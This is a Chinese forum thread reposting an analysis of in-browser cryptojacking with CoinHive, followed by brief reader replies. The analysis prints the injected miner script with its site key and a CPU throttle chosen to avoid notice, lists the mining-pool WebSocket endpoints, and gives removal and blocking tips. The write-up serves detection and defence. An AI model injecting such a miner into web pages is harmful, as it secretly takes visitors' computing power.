丶小蓝丶 发表于 2018-8-18 16:40

如何避免网页被挖矿

本帖最后由 丶小蓝丶 于 2018-8-18 16:42 编辑

0×0背景
      上一期分享了一篇软件的挖矿记录本次分享同样是来自于大神si1ence的一篇分享
挖矿目前已经成为黑帽子牟利的主要手段,最近上网偶然间发现部分网站被挂马后存在网页挖矿的行为,区别于常规病毒操作系统中挖矿行为,网页主要在网站上挂上恶意的JS脚本,访问该网站即触发挖矿动作。目前很多网页挖矿主要以CoinHive的方式较多,一般挖矿用户以主动方式直接使用C或者其他语言构造的miner客户端进行CPU或GPU计算Hash。前端挖矿用户以被动或主动方式在不知情或知情情况下利用浏览者的CPU或GPU。0×1现象图片请点击查看大图
访问恶意网站时CPU飙升,关闭网站后回复正常水平。
http://img.summerdad.cc/qiniu/2261/image/fb14fd5d86a2d33b4d08fc36cb8fb32b.png
关闭之后:
http://img.summerdad.cc/qiniu/2261/image/0ba6c0e3413c3086507295bd4e5a4f28.png0×2源代码分析
查看网页源代码可发现部分挖矿的代码,经过简单确定非手机浏览器后,即开始挖矿的动作。
http://img.summerdad.cc/qiniu/2261/image/0d6026eacf023eae1397a63d1d27e17a.png
浏览器进程占用了较大的CPU资源:
http://img.summerdad.cc/qiniu/2261/image/8a82824358d090e9ae696994711c6097.png
查看浏览器进程中,可以在内存地址中发现有挖矿地址的痕迹:
http://img.summerdad.cc/qiniu/2261/image/5eb9d9bd9e4f6528f39b4b7757785c83.png
主要引用的挖矿代码的详细都在引用的JS脚本当中,仅使用70%的CPU资源。
<#script src="https://coinhive.com/lib/coinhive.min.js">

var miner = new CoinHive.Anonymous('Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt', {throttle: 0.7});
if (!miner.isMobile() && !miner.didOptOut(14400)) {
miner.start();
}
<#/script>
Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt:CoinHive 当中的钱包地址;throttle:浏览器占用CPU的阈值,调节到合适的阈值时用户会很难注意到浏览器的算力被滥用。coinhive.min.js源码如下:http://img.summerdad.cc/qiniu/2261/image/7b6720f6e4c7b3eebc258bbe1d25a99e.png
挖矿脚本使用WebSocket与矿池进行通信,部分的矿池结点如下:wss://ws001.coinhive.com/proxy

wss://ws002.coinhive.com/proxy

wss://ws003.coinhive.com/proxy

wss://ws004.coinhive.com/proxy

wss://ws005.coinhive.com/proxy

wss://ws006.coinhive.com/proxy

wss://ws007.coinhive.com/proxy

wss://ws008.coinhive.com/proxy

wss://ws009.coinhive.com/proxy

wss://ws010.coinhive.com/proxy

wss://ws011.coinhive.com/proxy

wss://ws012.coinhive.com/proxy

http://img.summerdad.cc/qiniu/2261/image/c2969ca331d972beea93c2dcda8f8b5b.png
挖矿脚本允许自动调节线程数目:this._throttle=Math.max(0,Math.min(.99,this.params.throttle||0));

this._stopOnInvalidOptIn=false;

this._waitingForAuth=false;

this._selfTestSuccess=false;

this._verifyThread=null;

this._autoThreads={

enabled:!!this.params.autoThreads,

interval:null,

adjustAt:null,

adjustEvery:1e4,

stats:{}

};

this._tab={

ident:Math.random()*16777215|0,

mode:CoinHive.IF_EXCLUSIVE_TAB,g

race:0,

waitReconnect:0,

lastPingReceived:0,

interval:null

};http://img.summerdad.cc/qiniu/2261/image/161e0e71816f60e41975c4c54b65b686.png0×3 解决方法:
1.根据页面后查看网页源代码,搜索有关于CoinHive,Miner等关键字可以快速定位到界面,使用记事本或者网页编辑器删除挖矿的关键代码。
2.使用目前一切所谓的浏览器进行拦截挖矿代码
3.访问小电影网站时候多留心自己的CPU性能。

*本文作者si1ence,转载来自FreeBuf.COM

goldengod 发表于 2018-8-18 17:07

我是来澄清 看帖子的目的不是为了小电影

hellowmykami 发表于 2018-8-19 02:58

MinerBlock插件了解一下

Dream漂移 发表于 2018-8-18 17:08

路过学习了

丨皮卡丘丶 发表于 2018-8-18 16:57

楼主你这么看着我,我不好意思不顶帖啊

dina-sam 发表于 2018-8-18 16:58

先记住这个再说,coinhive

darkmacan 发表于 2018-8-18 17:00

分析的很詳細,圖文並茂,最近挖礦還是很流行哦!

本泽马 发表于 2018-8-18 17:01

这似乎麻烦的一点

13246685106 发表于 2018-8-18 17:02

分析的很詳細

Pedro 发表于 2018-8-18 17:04

感谢分享 受教了

akeagle 发表于 2018-8-18 17:16

路过学习了
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 如何避免网页被挖矿